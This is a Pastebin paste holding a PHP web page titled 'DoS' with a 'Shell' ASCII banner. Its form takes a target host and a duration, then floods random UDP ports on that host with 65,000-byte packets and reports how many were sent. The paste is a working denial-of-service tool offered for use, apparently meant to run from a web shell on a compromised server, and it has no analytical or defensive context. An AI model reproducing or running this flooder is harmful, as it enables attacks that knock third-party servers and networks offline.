Advertisement
Guest User

Untitled

a guest
Jun 25th, 2017
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.18 KB | None | 0 0
  1. <html>
  2.  
  3. <head>
  4.  
  5. DoS
  6.  
  7. </head>
  8.  
  9. <body>
  10.  
  11. <center>
  12.  
  13. <font color="00FF00">
  14.  
  15. <pre>
  16.  
  17. _____ _ _ _
  18.  
  19. / ____| | | | |
  20.  
  21. (___ | |__ ___| | |
  22.  
  23. \___ \| '_ \ / _ \ | |
  24.  
  25. __ _) | | | | __/ | |
  26.  
  27. _____/|_| |_|\___|_|_|
  28.  
  29. </pre>
  30.  
  31. <STYLE>
  32.  
  33. input{
  34.  
  35. background-color: #00FF00; font-size: 8pt; color: #000000; font-family: Tahoma; border: 1 solid #666666;
  36.  
  37. }
  38.  
  39. button{
  40.  
  41. background-color: #00FF00; font-size: 8pt; color: #000000; font-family: Tahoma; border: 1 solid #666666;
  42.  
  43. }
  44.  
  45. body {
  46.  
  47. background-color: #000000;
  48.  
  49. }
  50.  
  51. </style>
  52.  
  53. <?php
  54.  
  55. //UDP
  56.  
  57. if(isset($_GET['host'])&&isset($_GET['time'])){
  58.  
  59. $packets = 0;
  60.  
  61. ignore_user_abort(TRUE);
  62.  
  63. set_time_limit(0);
  64.  
  65.  
  66.  
  67. $exec_time = $_GET['time'];
  68.  
  69.  
  70.  
  71. $time = time();
  72.  
  73. //print "Started: ".time('d-m-y h:i:s')."<br>";
  74.  
  75. $max_time = $time+$exec_time;
  76.  
  77.  
  78.  
  79. $host = $_GET['host'];
  80.  
  81.  
  82.  
  83. for($i=0;$i<65000;$i++){
  84.  
  85. $out .= 'X';
  86.  
  87. }
  88.  
  89. while(1){
  90.  
  91. $packets++;
  92.  
  93. if(time() > $max_time){
  94.  
  95. break;
  96.  
  97. }
  98.  
  99. $rand = rand(1,65000);
  100.  
  101. $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  102.  
  103. if($fp){
  104.  
  105. fwrite($fp, $out);
  106.  
  107. fclose($fp);
  108.  
  109. }
  110.  
  111. }
  112.  
  113. echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
  114.  
  115. echo '<br><br>
  116.  
  117. <form action="'.$surl.'" method=GET>
  118.  
  119. <input type="hidden" name="act" value="phptools">
  120.  
  121. Host: <br><input type=text name=host><br>
  122.  
  123. Length (seconds): <br><input type=text name=time><br>
  124.  
  125. <input type=submit value=Go></form>';
  126.  
  127. }else{ echo '<br><b>UDP Flood</b><br>
  128.  
  129. <form action=? method=GET>
  130.  
  131. <input type="hidden" name="act" value="phptools">
  132.  
  133. Host: <br><input type=text name=host value=><br>
  134.  
  135. Length (seconds): <br><input type=text name=time value=><br><br>
  136.  
  137. <input type=submit value=Go></form>';
  138.  
  139. }
  140.  
  141. ?>
  142.  
  143. </center>
  144.  
  145. </body>
  146.  
  147. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement